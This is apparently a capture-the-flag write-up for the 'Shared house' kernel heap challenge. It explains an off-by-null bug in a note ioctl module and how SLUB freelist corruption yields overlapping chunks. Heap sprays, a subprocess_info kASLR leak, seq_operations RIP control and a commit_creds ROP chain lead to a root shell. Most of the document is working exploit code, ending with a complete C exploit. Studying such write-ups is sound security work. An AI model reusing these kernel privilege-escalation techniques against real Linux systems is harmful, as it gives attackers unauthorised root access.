Shared house

Shared house is a kernel heap exploitation challenge feauturing an off-by-null vulnerability

Files

The module

__int64 __fastcall mod_ioctl(__int64 fd, unsigned int ioctl_cmd, __int64 note_req)
{
  unsigned int note_size; // [rsp+0h] [rbp-18h] BYREF
  __int64 data; // [rsp+8h] [rbp-10h]

  if ( copy_from_user(&note_size, note_req, 0x10LL) )
    return -14LL;
  if ( note_size > 0x80 )
    return -22LL;
  mutex_lock(&_mutex);
  if ( ioctl_cmd == 0xC12ED002 )
  {
    if ( !note )
    {
LABEL_10:
      mutex_unlock(&_mutex);
      return -22LL;
    }
    kfree();
    note = 0LL;
  }
  else if ( ioctl_cmd <= 0xC12ED002 )
  {
    if ( ioctl_cmd != 0xC12ED001 )
      goto LABEL_10;
    if ( note )
      kfree();
    size = note_size;
    note = _kmalloc(note_size, 6324416LL);
    if ( !note )
      goto LABEL_10;
  }
  else if ( ioctl_cmd == 0xC12ED003 )
  {
    if ( !note || note_size > size || copy_from_user(note, data, note_size) )
      goto LABEL_10;
    *(_BYTE *)(note + note_size) = 0;           // off-by-null
  }
  else if ( ioctl_cmd != 0xC12ED004 || !note || note_size > size || copy_to_user(data) )
  {
    goto LABEL_10;
  }
  mutex_unlock(&_mutex);
  return 0LL;
}

Looking at the decompiled module we can notice we are able to interact with it via ioctl, and it allows 3 commands that basically do the following things:

  • Allocate exactly one chunk with a maximum size of 0x80

  • Delete the chunk if it's allocated

  • Edit the chunk if it's allocated

  • Read the data in the chunk

Off-by-null

If we look at the following line closely:

*(_BYTE *)(note + note_size) = 0

We can see that it appends a 0 to the end of the data added to the chunk. The problem with this code is that it doesn't consider that the data may be filling the chunk entirely, for example, if we have a 0x20 bytes allocated chunk and write 0x20 A's to it (or simply provide 0x20 as the size), the nullbyte appended at the end will be the 0x21st byte, overflowing into the next chunk.

Before overflowing:

After overflowing:

Chunk overlap

    add(0x80);
    edit(0x80,payload); // off-by-null
    delete();
    msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0);
    add(0x80); // allocate controllable chunk
    socket(22, AF_INET, 0); // allocate victim

SLUB is the default allocator the linux kernel uses, and it works very differently to ptmalloc2 (default glibc allocator). SLUB chunks don't need to carry their sizes since the chunks are allocated in separate regions according to their sizes, and those regions are called SLABs, each slab carries chunks with sizes within a given range (0x20, 0x40, 0x60, 0x80...).

SLUB slabs have freelists that are linked lists of all free chunks on a slab and each node have an fd pointer that points to the next free slab, in a similar way to how userland freelists work.

That being said, imagine we have a 0x80 slab free chunk at the address 0xdead00, this means the next chunk (pointed by it's fd pointer) is at 0xdead80.

As long as the fd pointer of the 0xdead00 chunk remains intact, the next allocation will be allocated at 0xdead00 and the one after that will be allocated at 0xdead80.

So let's say we used our off-by-null bug right now.

If we overwrite the LSB of the fd pointer of the 0xdead00 chunk, it will now point to itself, which will change the allocation flow, so the next allocation will be allocated at 0xdead00 and the one after that will be allocated at 0xdead00 again. This allow us to have two chunks overlaping each other in the exact same location in memory.

Heap spray

    /* msg_msg spray 0x80 slab */
    open_msg();
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,"A",sizeof(msgbuf.mtext));
    for (int i = 0; i < 0x21; i++){
        msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0);
    }

So far we already know that if we allocate above a chunk that has 0x00 as LSB we can make it self-reference, triggering the overlap, but how do we get it to end up there in the first place?

Heap spray is the answer.

If we keep spamming allocations in the same SLAB as we want to corrupt we will push down the location where our allocated chunk will end up.

The module only allows us to allocate 1 chunk, so will have to appeal to other kernel objects that can be allocated from userland. For the 0x80 slab we can use the msg_msg object.

Abusing kernel structures

The vulnerable module only allows us to allocate one chunk, and this one chunk does not contain any important structures or pointers, making it a really bad victim candidate.

In userland each process has it's own separate heap, but in kernelland there is only one heap and any allocation from any module, syscall or whatever activity that happens in the kernel and needs to allocate in the heap, goes all in one place. That means we can use some other kernel structure as the victim for the overlap. For example, if we trigger the allocation of a chunk with a kernel pointer to abuse with our overlap, we can defeat kASLR and if we overlap over a chunk with a function pointer that will be called we can control RIP. Here is some awesome references on which kernel structures we can use to aid our exploitation:

Leaking the kernel base (subprocess_info)

    /* Leak kernel w/ subprocess_info */
    add(0x80);
    edit(0x80,payload);
    delete();
    msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0);
    add(0x80);
    socket(22, AF_INET, 0);
    dump(0x80, (void *)kleak);
    kheap = kleak[1];
    kbase = kleak[3] - 0x060160;
    prepare_kernel_cred = kbase + 0x69e00;
    commit_creds = kbase + 0x69c10;
    printf("[+]Base: 0x%lx\n", kbase);
    printf("[+]Heap: 0x%lx\n", kheap);

Our overlap will be composed of two chunks, a controllable chunk which is the one allocated by the module to which we can read/write whatever we want, and a victim chunk, which contains important data that we want to mess with.

In order to leak the kernel base and defeat kASLR I decided to overlap with a subprocess_info object in the 0x80 slab. This can be done simply by calling:

socket(22, AF_INET, 0);

Which will trigger a subprocess_info object to be allocated in the heap.

If we check it's definition, we can see we can use the second qword to leak a heap pointer and the fourth qword to leak a kernel base pointer.

Controlling RIP (seq_operations)

    /* Control RIP w/ seq_operations */
    memset(payload,"0",0x80);
    delete();
    add(0x20);
    edit(0x20,payload);
    delete();
    open("/proc/self/stat", O_RDONLY);
    add(0x20);
    target = open("/proc/self/stat", O_RDONLY);
    
    /* ROP chain */
    [...]
    
    /* Trigger ROP */
    *(unsigned long *)payload = kbase + 0x02cae0; // mov esp, 0x5d000010; ret
    edit(0x8,payload);
    read(target, payload, 1);

The process to control RIP was very similar to what we just did, but instead of having subprocess_info as ther victim we will target seq_operations since it contains a function pointer that will be called when we call read(). This structures lives on the 0x20 slab so I had to use a different spray, I ended up using seq_operations for both the spray and the overlap.

ROP chain

    /* ROP chain */
    unsigned long *rop = (unsigned long*)
        mmap((void*)(0x5d000000-0x100), 0x10000,
            PROT_READ | PROT_WRITE,
            0x20 | MAP_ANON | MAP_SHARED | MAP_POPULATE, -1, 0);

    rop = 0x5d000010;
    *rop++ = kbase + 0x038bf9;      // pop rdi; dec ecx; ret
    *rop++ = 0;
    *rop++ = prepare_kernel_cred;
    *rop++ = kbase + 0x0368fa;      // pop rcx; ret 
    *rop++ = 0;
    *rop++ = kbase + 0x01877f;      // mov rdi, rax; pop rbp; ret
    *rop++ = 0;
    *rop++ = commit_creds;
    *rop++ = kbase + 0x03ef24;      // swapgs; pop rbp; ret
    *rop++ = 0;
    *rop++ = kbase + 0x01d5c6;      // iretq; pop rbp; ret
    *rop++ = bak_rip;
    *rop++ = bak_cs;
    *rop++ = bak_rflags;
    *rop++ = bak_rsp;
    *rop++ = bak_ss;
    *rop++ = 0;

    /* Trigger ROP */
    *(unsigned long *)payload = kbase + 0x02cae0; // mov esp, 0x5d000010; ret
    edit(0x8,payload);
    read(target, payload, 1);

After having control of RIP, our best shot is to do a ROP chain, but notice, in kernel exploitation if you already have a shell it's completely useless to call something like system("/bin/sh"). Our real goal is to call commit_creds(prepare_kernel_cred(0)) and swap the context to userland with our original userland registers and then pop a shell. I'm currently on the heap, not on the stack, so I can but I rop chain here since it won't return to the chain after the first gadget. One way to work around this issue is to use a gadget that moves rsp to an address, then mmap a region containing that address, basically creating as fake stack frame where we can store our rop chain.

Notice that we need our userland registers in order to swap the context back to userland so we need to back up those and then use them in our rop chain.

void bak(){
	__asm__(
	".intel_syntax noprefix;"
        "mov bak_cs, cs;"
        "mov bak_ss, ss;"
        "mov bak_rsp, rsp;"
        "pushf;"
        "pop bak_rflags;"
        ".att_syntax;"		
	);
	puts("[+]Registers backed up");
}

Then in our rop chain we put them on the stack right after swapgs and iretq:

    *rop++ = kbase + 0x03ef24;      // swapgs; pop rbp; ret
    *rop++ = 0;
    *rop++ = kbase + 0x01d5c6;      // iretq; pop rbp; ret
    *rop++ = bak_rip;
    *rop++ = bak_cs;
    *rop++ = bak_rflags;
    *rop++ = bak_rsp;
    *rop++ = bak_ss;
    *rop++ = 0;

Final Exploit

Finally, my exploit flow was basically this:

  • Spray 0x80 slab to prepare for off-by-null

  • Spray 0x20 slab to prepare for off-by-null

  • Overlap in 0x80 with subprocess_info to leak kernel base

  • Overlap in 0x20 with seq_operations to control RIP

  • Store ROP in fake stack frame and move rsp there

  • commit_creds(prepare_kernel_cred(0))

  • Swap to userland and open a shell

#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <string.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/socket.h>

#define CMD_ADD  0xc12ed001
#define CMD_DELETE 0xc12ed002
#define CMD_EDIT  0xc12ed003
#define CMD_DUMP   0xc12ed004

int dev;
int qid;

/* Module struts */
typedef struct {
    unsigned size;
    char *data;
} notereq_t;

/* msg_req structs */
typedef struct {
    long mtype;
    char mtext[0x80];
} msg;

msg msgbuf;

struct msg_header {
    void *ll_next;
    void *ll_prev;
    long m_type;
    size_t m_ts;
    void *next;
    void *security;
} ;

/* Backup registers */
unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip;

void bak(){
	__asm__(
	".intel_syntax noprefix;"
        "mov bak_cs, cs;"
        "mov bak_ss, ss;"
        "mov bak_rsp, rsp;"
        "pushf;"
        "pop bak_rflags;"
        ".att_syntax;"		
	);
	puts("[+]Registers backed up");
}

/* Helper functions */
void debug(){
    puts("paused execution");
    getchar();
}

int open_msg(){
    qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int msgsend(int qid, void* msg, size_t size, int flag) {
    int res;

    if ((res = msgsnd(qid, msg, size, flag)) == -1) {
        perror("msgsnd");
        exit(-1);
    }
    return res;
}

void open_dev(){
    dev = open("/dev/note",O_RDWR);
    puts("[+]Interacting with device");
}

void add(unsigned size){
    notereq_t req = {
        .size = size,
        .data = NULL
    };
    ioctl(dev,CMD_ADD,&req);
}

void delete(){
    notereq_t req = {
        .size = 0,
        .data = NULL
    };
    ioctl(dev,CMD_DELETE,&req);
}

void edit(unsigned size, char *data){
    notereq_t req = {
        .size = size,
        .data = data
    };
    ioctl(dev,CMD_EDIT,&req);
}

char dump(unsigned size, char *data){
    notereq_t req = {
        .size = size,
        .data = data
    };
    char ret_data[size];
    ioctl(dev,CMD_DUMP,&req);
    return *ret_data;
}

void bin_sh(){
    printf("[+]UID: %d\n",getuid());
    system("/bin/sh");
}
unsigned long bak_rip = (unsigned long)bin_sh;

int main(){
    char payload[0x80];
    int target;
    unsigned long kleak[10], kbase, kheap, prepare_kernel_cred, commit_creds;

    memset(payload,"0",0x80);
    open_dev();
    bak();

    /* msg_msg spray 0x80 slab */
    open_msg();
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,"A",sizeof(msgbuf.mtext));
    for (int i = 0; i < 0x21; i++){
        msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0);
    }

    /* seq_operations spray 0x20 slab */
    for(int i = 0; i < 0x80; i++) {
        open("/proc/self/stat", O_RDONLY);
    }

    /* Leak kernel w/ subprocess_info */
    add(0x80);
    edit(0x80,payload);
    delete();
    msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0);
    add(0x80);
    socket(22, AF_INET, 0);
    dump(0x80, (void *)kleak);
    kheap = kleak[1];
    kbase = kleak[3] - 0x060160;
    prepare_kernel_cred = kbase + 0x69e00;
    commit_creds = kbase + 0x69c10;
    printf("[+]Base: 0x%lx\n", kbase);
    printf("[+]Heap: 0x%lx\n", kheap);

    /* Control RIP w/ seq_operations */
    memset(payload,"0",0x80);
    delete();
    add(0x20);
    edit(0x20,payload);
    delete();
    open("/proc/self/stat", O_RDONLY);
    add(0x20);
    target = open("/proc/self/stat", O_RDONLY);

    /* ROP chain */
    unsigned long *rop = (unsigned long*)
        mmap((void*)(0x5d000000-0x100), 0x10000,
            PROT_READ | PROT_WRITE,
            0x20 | MAP_ANON | MAP_SHARED | MAP_POPULATE, -1, 0);

    rop = 0x5d000010;
    *rop++ = kbase + 0x038bf9;      // pop rdi; dec ecx; ret
    *rop++ = 0;
    *rop++ = prepare_kernel_cred;
    *rop++ = kbase + 0x0368fa;      // pop rcx; ret 
    *rop++ = 0;
    *rop++ = kbase + 0x01877f;      // mov rdi, rax; pop rbp; ret
    *rop++ = 0;
    *rop++ = commit_creds;
    *rop++ = kbase + 0x03ef24;      // swapgs; pop rbp; ret
    *rop++ = 0;
    *rop++ = kbase + 0x01d5c6;      // iretq; pop rbp; ret
    *rop++ = bak_rip;
    *rop++ = bak_cs;
    *rop++ = bak_rflags;
    *rop++ = bak_rsp;
    *rop++ = bak_ss;
    *rop++ = 0;

    /* Trigger ROP */
    *(unsigned long *)payload = kbase + 0x02cae0; // mov esp, 0x5d000010; ret
    edit(0x8,payload);
    read(target, payload, 1);

    return 0;
}

Last updated